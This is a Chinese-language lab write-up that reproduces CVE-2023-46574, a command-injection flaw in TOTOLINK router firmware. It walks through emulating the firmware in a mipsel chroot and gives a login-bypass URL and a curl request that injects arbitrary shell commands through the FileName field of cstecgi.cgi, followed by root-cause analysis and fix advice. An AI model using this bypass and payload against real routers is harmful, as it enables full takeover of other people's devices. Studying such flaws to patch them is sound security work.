TOTOLINK命令执行 CVE-2023-46574
字数 923 2025-08-22 12:23:13
TOTOLINK命令执行漏洞(CVE-2023-46574)分析与复现指南
1. 漏洞概述
CVE-2023-46574是TOTOLINK路由器中的一个命令执行漏洞,存在于cstecgi.cgi程序中。攻击者可以通过构造恶意请求在设备上执行任意命令,导致系统被完全控制。
2. 环境搭建
2.1 安装必要工具
sudo apt-get install schroot debootstrap
2.2 创建mipsel架构的chroot环境
sudo debootstrap --arch=mipsel bookworm /iotconfig/debootstrap/mipsel https://mirrors.aliyun.com/debian
2.3 配置schroot
编辑配置文件/etc/schroot/chroot.d/mipsel.conf:
[mipsel]
type=directory
directory=/iotconfig/debootstrap/mipsel
users=root
groups=root
root-groups=root
2.4 进入chroot环境
sudo schroot -c chroot:mipsel -u root
3. 固件分析
3.1 解压固件
sudo binwalk --run-as=root -Me TOTOLINK_A3700R_V9.1.2u.6165_20211012.web
3.2 识别Web服务
解压后查看squashfs-root目录,发现lighttpd文件夹,表明使用lighttpd作为Web服务器。
3.3 复制文件到chroot环境
sudo cp -r squashfs-root /iotconfig/debootstrap/mipsel/root/
4. 启动模拟环境
4.1 进入chroot环境
sudo schroot -c chroot:mipsel -u root
chroot squashfs-root/
4.2 启动lighttpd服务
lighttpd -f lighttp/lighttpd.conf
如果启动失败,创建必要的pid文件:
mkdir /var/run
touch /var/run/lighttpd.pid
5. 漏洞利用
5.1 绕过登录
由于未设置密码,可以通过以下方式绕过登录:
- 抓取登录请求
- 直接访问URL:
http://127.0.0.1/formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login
5.2 获取Session ID
通过浏览器开发者工具或抓包工具获取SESSION_ID。
5.3 执行命令
使用curl发送恶意请求:
curl http://127.0.0.1/cgi-bin/cstecgi.cgi -b "SESSION_ID=2:1708017806:2" -X POST -d '{"topicurl":"UploadFirmwareFile","FileName":";ls -a;"}'
其中ls -a可以替换为任意命令。
6. 漏洞分析
漏洞位于cstecgi.cgi程序中,FileName参数未经充分检查就直接传递给doSystem函数,导致命令注入。
7. 修复建议
- 对用户输入进行严格过滤和验证
- 避免直接将用户输入传递给系统命令
- 使用参数化方式执行系统命令
- 更新到厂商发布的最新固件版本
8. 参考资源
- 固件文件: TOTOLINK_A3700R_V9.1.2u.6165_20211012.zip
- 漏洞编号: CVE-2023-46574
通过以上步骤,可以完整复现TOTOLINK路由器中的命令执行漏洞,并理解其原理和利用方式。